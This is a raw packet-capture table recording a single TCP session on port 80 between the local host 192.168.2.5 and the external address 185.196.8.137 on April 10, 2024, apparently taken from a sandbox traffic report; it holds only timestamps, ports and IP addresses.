Apr 10, 2024 10:24:07.592348099 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.592374086 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.592411041 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.592433929 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.592446089 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.592457056 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.592468977 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.592479944 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.592490911 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.592494011 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.592506886 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.592514038 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.592518091 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.592533112 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.592539072 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.592545986 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.592550039 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.592562914 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.592596054 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.592605114 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.592617989 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.592617989 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.592648983 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.592669964 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.592673063 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.592717886 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.592741966 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.592753887 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.592765093 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.592777014 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.592796087 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.592818022 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.592833996 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.592848063 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.592859030 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.592869997 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.592881918 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.592894077 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.592895031 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.592907906 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.592917919 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.592920065 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.592933893 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.592943907 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.592951059 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.592956066 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.592971087 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.592986107 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.592997074 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.593008041 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.593019009 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.593030930 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.593041897 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.593049049 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.593055964 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.593066931 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.593071938 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.593100071 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.593101025 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.593113899 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.593125105 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.593135118 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.593137026 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.593149900 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.593159914 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.593162060 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.593173981 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.593179941 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.593185902 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.593197107 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.593199015 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.593210936 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.593223095 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.593225002 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.593262911 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.593264103 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.593276978 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.593288898 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.593301058 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.593317032 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.593334913 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.593353033 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.593365908 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.593377113 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.593389034 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.593404055 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.593425035 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.593439102 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.593451023 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.593463898 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.593475103 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.593482018 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.593487978 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.593499899 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.593504906 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.593512058 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.593530893 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.593564987 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.775876999 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.826956034 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.837028980 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.837065935 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.022957087 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.022983074 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.044709921 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.044734001 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.044748068 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.044761896 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.044778109 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.044790983 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.044802904 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.044815063 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.044827938 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.044841051 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.044853926 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.044867039 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.044881105 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.044893980 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.044908047 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.044986963 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.044994116 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.045007944 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.045021057 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.045036077 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.045042038 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.045056105 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.045073986 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.045090914 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.045095921 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.045109034 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.045120001 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.045131922 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.045144081 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.045156002 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.045160055 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.045166969 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.045180082 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.045192957 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.045207024 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.045207977 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.045227051 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.045238018 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.045238018 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.045248985 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.045257092 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.045262098 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.045274019 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.045277119 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.045286894 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.045298100 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.045311928 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.045315027 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.045336962 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.045345068 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.045350075 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.045363903 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.045363903 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.045375109 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.045388937 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.045401096 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.045401096 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.045413017 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.045419931 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.045439005 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.045449972 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.045450926 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.045463085 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.045479059 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.045481920 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.045490980 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.045502901 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.045509100 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.045536995 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.045537949 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.045550108 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.045562983 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.045582056 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.045604944 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.045640945 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.045655012 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.045665979 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.045677900 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.045692921 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.045705080 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.045708895 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.045720100 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.045731068 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.045747995 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.045770884 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.045783997 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.045794964 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.045806885 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.045815945 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.045819998 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.045831919 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.045833111 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.045845985 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.045852900 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.045861006 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.045871973 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.045882940 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.045885086 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.045895100 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.045907974 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.045916080 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.045932055 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.045964956 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.045979023 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.045989990 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046001911 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046010971 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.046015024 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046021938 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046029091 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046030998 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.046044111 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046056032 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046060085 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.046067953 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046077013 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.046082973 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046102047 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.046106100 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046118975 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046124935 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.046132088 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046144009 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046154976 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046165943 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046169996 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.046178102 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046190977 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046192884 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.046216965 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046232939 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046236038 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.046241045 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046255112 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046262026 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.046268940 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046282053 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.046293020 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046304941 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046317101 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046324968 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.046340942 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046354055 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046354055 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.046354055 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.046402931 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.046467066 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.046484947 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046498060 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046508074 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046520948 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046531916 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046546936 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046551943 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.046559095 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046571970 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046574116 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.046583891 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046592951 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.046596050 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046607971 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046617031 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.046633959 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046647072 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046652079 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.046658993 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046672106 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046683073 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046690941 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.046694994 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046705961 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046709061 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.046741009 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.046760082 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046760082 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.046776056 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046788931 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046799898 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046812057 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046822071 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.046823978 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046835899 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046847105 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046855927 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.046859026 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046871901 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046883106 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.046884060 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046896935 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046902895 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.046911955 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046925068 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046926022 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.046936989 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046942949 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.046950102 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046971083 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.046976089 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046988964 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.046993017 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.047038078 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.047076941 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.047089100 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.047099113 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.047111034 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.047116995 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.047126055 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.047132969 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.047143936 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.047151089 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.047157049 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.047163010 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.047179937 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.047198057 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.047215939 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.047226906 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.047240973 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.047247887 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.047257900 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.047269106 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.047276974 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.047287941 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.047334909 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.047350883 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.047364950 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.047374964 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.047377110 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.047389030 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.047403097 CEST	80	49717	185.196.8.137	192.168.2.5
